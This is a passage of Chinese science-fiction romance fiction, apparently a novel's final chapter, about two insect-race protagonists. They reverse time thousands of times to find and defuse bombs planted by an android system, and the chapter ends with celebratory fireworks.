下一秒,雄虫在停止的时间里长出了一口气。他低头,看向掌心里那块被他捏碎吸收的精石。因为同样的血缘和基因,他才能够利用这些精石,进而使用这里面的精神力和能力。 这是一场豪赌。 万幸的是,他赌赢了。 要是输了的话,真的就要不得不进到那个肯定会夺走他性命的能源仓里了。 感谢老祖宗!叩谢老祖宗! 然后西奥抬头,看向头顶伸展开巨大的金色翅膀,悬停在空中的奥古斯特。雌虫神色坚定,弯身弓背,肌肉喷张,精神力丝线蛛丝一样飞舞,是十足的防御和进攻姿态。 这是一场意外。 奥古斯特不该出现在这里,甚至在他的预知当中,奥古斯特也不该存在。是因为卵化的意外吗?因为脱离过自己的预知,便无法被感知到了吗? 就在这时,那泛着金光的翼尖,突然颤了一下。 下一瞬,奥古斯特从天而降,直接把下方持枪的仿生人砸了个稀碎! “你没事吧?”雌虫拨开子弹,阔步朝着西奥走来。 当初奥古斯特说,他能把整个皇宫夷为平地,当然也能把这个地下基地硬生生挖通地面。 西奥摇摇头,然后问:“你为什么在这里?” 奥古斯特一愣,“不是你安排我来这里吗?” “我让你离开,不是让你……算了。”西奥放弃纠结细节,“仿生人系统在颗星球上安装了几千个类似这里的精神力炸弹,如果找不到的话,还是会被炸毁的。” 两个虫一起看向被砸成碎片的仿生人。 “我刚才让弗雷德借着攻击的机会,入侵了他的信号系统,但是这颗星球太大了,他的精神力计算没有距离限制,也走不了那么远。”西奥说。 “但小弗知道坐标,对吧?” “知道又有什么用。”西奥说着,看向旁边仍旧不动的虫崽,“他说不了话。” “说起来,你为什么能动?” “我猜是因为标记。”奥古斯特说,“我还记的,艾弗雷特的能力,不光是停止时间吧?” “你是说……” “还有逆转。” “哪怕只有一秒,也足够弗雷德说出一个坐标了。” 西奥沉默了一下,“刚才那一秒,非常凶险。如果稍微慢了哪怕一毫秒,让卡米先一步停止了时间,那我们所有虫,都会死于他的手中。我的精神力也会被夺走。” “而且总共有几千个爆炸点,这意味着我们要重复刚才那险之又险的一秒,长达上千次,每一次都必须同样的幸运,不能有一次失误。” 奥古斯特听完,然后问:“卡米是谁?” 西奥一愣,然后忍不住想笑,“就是被你砸烂的那个仿生人,顶着罗森塔尔的壳子的光脑系统。” “所以,总共多少次?” “三千六百八十四次。”西奥答。 “你信任我吗?”奥古斯特问。 西奥握住另一块黑色的精石,用力捏碎! 仿生人死而复生,墙壁重新恢复完整,奥古斯特回到半空,而西奥也被迫回归了原位,面对着即将射出的子弹! “坐标!”西奥冲弗雷德大喊。 一秒的时间实在太短了。有时候是一个,有时候是半个,而每次为了这一点信息的逆转,都要赌上所有的一切。他们自己的性命,以及整个星系的安全。 西奥不喜欢做个赌徒。所以他才会觉醒预知这种能力,能够看到未来,根据那些不同的结果,做出最正确的选择。所以他从来不会输。 而现在,他失去了预知奥古斯特的能力,每一次逆转,都是一次生死赌局。 骰子扔下,生死有命。 但奥古斯特问他,你信任我吗? 当然。西奥答。 三千六百八十四秒,总共只有一个小时多点的时间,却因为每时每刻绷紧如同走钢丝的感觉,漫长得仿佛一生。 最后一次,奥古斯特按照弗雷德给出的坐标,挨个切断几千个炸弹的引信,在反复检查之后,他们踩在变成碎片还在闪烁信号的卡米身上。 时间再次开始流动。 一秒、两秒、三秒。 除了寒风呼啸,世界一片安详。 “发生了什么?”弗雷德问,“你们做了什么?雌父为什么在这里?” 三分钟过去,无事发生。 “你雌父在这里是因为……” 正说着,不远处突然传来一声砰!的一声响。一道白色的烟痕升向半空,然后炸开! 这是一束白日焰火。 西奥立刻看向奥古斯特。 雌虫神色平淡,“烟花,测试爆炸时间用的。” “以及,幸存快乐!” end《 》